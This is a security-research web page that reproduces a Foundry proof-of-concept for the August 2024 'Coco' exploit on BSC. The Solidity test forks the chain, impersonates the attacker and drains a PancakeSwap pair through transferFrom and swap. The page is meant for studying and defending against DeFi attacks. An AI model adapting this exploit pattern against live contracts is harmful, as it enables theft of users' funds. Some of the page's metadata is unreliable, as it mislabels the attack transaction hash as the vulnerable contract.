Public reproduction file
src/test/2024-08/COCO_exp.sol
Public reproduction file for dataset entry Coco.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "../interface.sol";6// @KeyInfo - Total Lost : 280BNB7// Attacker : https://bscscan.com/address/0x0cc28b80d21ebe7b3f3320faa059f163e98a55a28// Attack Contract : https://bscscan.com/address/0xac4fde96cf96c5f776de7ec5528cde60f6e8dbea, https://bscscan.com/address/0xb4d13acf8c4ef796bdc761129c31bc67130301cf9// Vulnerable Contract : 10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x7b743f0fa0ffc6542bc4132405f6c986a00187b6a8b23613ab98c8bcfe9fd87512// @Info13// Vulnerable Contract Code : 15// @Analysis16// Post-mortem : https://x.com/TenArmorAlert/status/182610172427857963917// Twitter Guy : https://x.com/TenArmorAlert/status/182610172427857963918// Hacking God : N/A20address constant bsc_usd = 0x55d398326f99059fF775485246999027B3197955;21address constant attacker = 0x0cc28b80D21eBe7b3f3320FAA059f163E98A55a2;22address constant addr = 0x51057dB447A6834c8FC4E9541db9c04304eF81D7;23address constant cake_lp = 0xF31cb18759FE8356348c81268b859d2a32bf2117;25contract ContractTest is Test {26 function setUp() public {27 vm.createSelectFork("bsc", 41529776);28 }30 function testPoC() public {31 vm.startPrank(attacker, attacker);32 AttackerC attC = new AttackerC();33 vm.stopPrank();35 vm.startPrank(addr);36 IERC20(bsc_usd).approve(address(attC), type(uint256).max);37 vm.stopPrank();39 vm.startPrank(attacker, attacker);40 attC.attack();41 emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0xF563E86e461dE100CfCfD8b65dAA542d3d4B0550).balanceOf(address(attC)), 18);42 }43}45contract AttackerC {46 fallback() external payable {}48 function attack() public {49 IERC20(bsc_usd).transferFrom(addr, cake_lp, 2212640000000000000000);50 IPancakePair(cake_lp).swap(51 0,52 3639118756532953773112984,53 address(this),54 ""55 );56 }57}Analysis
Dataset entry
Public Foundry test for “Coco” (2024-08-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-08/AAVE_Repay_Adapter.solSame month in the dataset · 363 lines
- src/test/2024-08/Convergence_exp.solSame month in the dataset · 79 lines
- src/test/2024-08/IvestDao_exp.solSame month in the dataset · 66 lines
- src/test/2024-08/NovaXM2E_exp.solSame month in the dataset · 72 lines
- src/test/2024-08/OMPxContract_exp.solSame month in the dataset · 107 lines
- src/test/2024-08/unverified_667d_exp.solSame month in the dataset · 65 lines
- src/test/2024-08/VOW_exp.solSame month in the dataset · 120 lines
- src/test/2024-08/YodlRouter_exp.solSame month in the dataset · 66 lines
- src/test/2024-08/Zenterest_exp.solSame month in the dataset · 54 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0cc28b80d21ebe7b3f3320faa059f163e98a55a2
- Attack Contract
0xac4fde96cf96c5f776de7ec5528cde60f6e8dbea
- Vulnerable Contract
0x7b743f0fa0ffc6542bc4132405f6c986a00187b6
- Attack Tx
0x7b743f0fa0ffc6542bc4132405f6c986a00187b6a8b23613ab98c8bcfe9fd875
File record
- Name
- Coco
- Path
- src/test/2024-08/COCO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9b347c2eace55252330bf02a77ffff0cd2e7966e
- Language
- Solidity
- Size
- 57 lines
- Date
- 2024-08-20
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-08/COCO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9b347c2eace55252330bf02a77ffff0cd2e7966e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.